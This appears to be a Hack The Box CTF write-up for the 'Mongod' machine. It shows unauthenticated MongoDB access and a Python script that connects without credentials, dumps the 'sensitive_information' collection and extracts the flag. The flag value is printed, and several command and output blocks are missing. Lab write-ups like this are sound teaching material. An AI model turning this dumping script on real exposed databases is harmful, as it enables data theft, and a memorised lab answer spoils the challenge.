Hack The Box - Mongod Writeup
🔥 Overview
Machine Name: Mongod
Difficulty: Easy
Vulnerability: MongoDB Misconfiguration
Attack Vector: Unauthenticated Database Access
Technology Stack: MongoDB NoSQL Database (TCP:27017)
🎯 Target Enumeration & Recon
1️⃣ Nmap Scan
We start with an Nmap scan to identify open ports and services running on the target machine:
Results:
MongoDB is running on port 27017, and based on the version (3.6.8), it might be misconfigured.🚀 Exploitation: Unauthenticated MongoDB Access
MongoDB sometimes allows unauthenticated access, meaning we can connect and extract information without credentials.
2️⃣ Connecting to MongoDB
We use mongosh
(MongoDB shell) to check if we have direct access:
If we connect successfully, we can list the available databases:
Output:
The sensitive_information
database seems interesting.
🎯 Extracting the Flag
Let's switch to the sensitive_information database and list its collections:
Output:
We extract the data:
Output:
✅ FLAG FOUND: 1b6e6fb359e7c40241b6d431427ba6ea
🔥 Automating the Exploit
Instead of doing this manually, we created a Python exploit:
import os
import subprocess
import re
TARGET_IP = "10.129.107.200"
OUTPUT_FILE = "mongo_output.json"
def extract_flag():
print("[*] Connecting to MongoDB and extracting flag...")
mongosh_commands = """
show dbs;
use sensitive_information;
show collections;
db.flag.find();
"""
result = subprocess.run(
["mongosh", f"mongodb://{TARGET_IP}:27017", "--quiet"],
input=mongosh_commands,
text=True,
capture_output=True
)
output = result.stdout.strip()
if not output:
print("[-] No output received from MongoDB.")
return
with open(OUTPUT_FILE, "w") as f:
f.write(output)
print(f"[+] MongoDB output saved to {OUTPUT_FILE}")
match = re.search(r"flag:\s*'([a-f0-9]+)'", output)
if match:
flag = match.group(1)
print(f"[✔] FLAG EXTRACTED: {flag}")
else:
print("[-] Flag not found.")
if __name__ == "__main__":
extract_flag()
Save this script as mongo_pwn.py
and run:
🎯 Conclusion
This box demonstrates the importance of securing MongoDB against unauthenticated access. The key takeaways:
- Always require authentication for databases.
- Disable remote access if not needed.
- Upgrade MongoDB to prevent known exploits.
✅ Mission Accomplished! 🎉
💀 AfterDark Security
Follow #AfterDark for more CTF solutions, pentesting tricks, and cybersecurity research!
🚀 GitHub: [Your Repo Link]
🐦 Twitter: [Your Twitter Handle]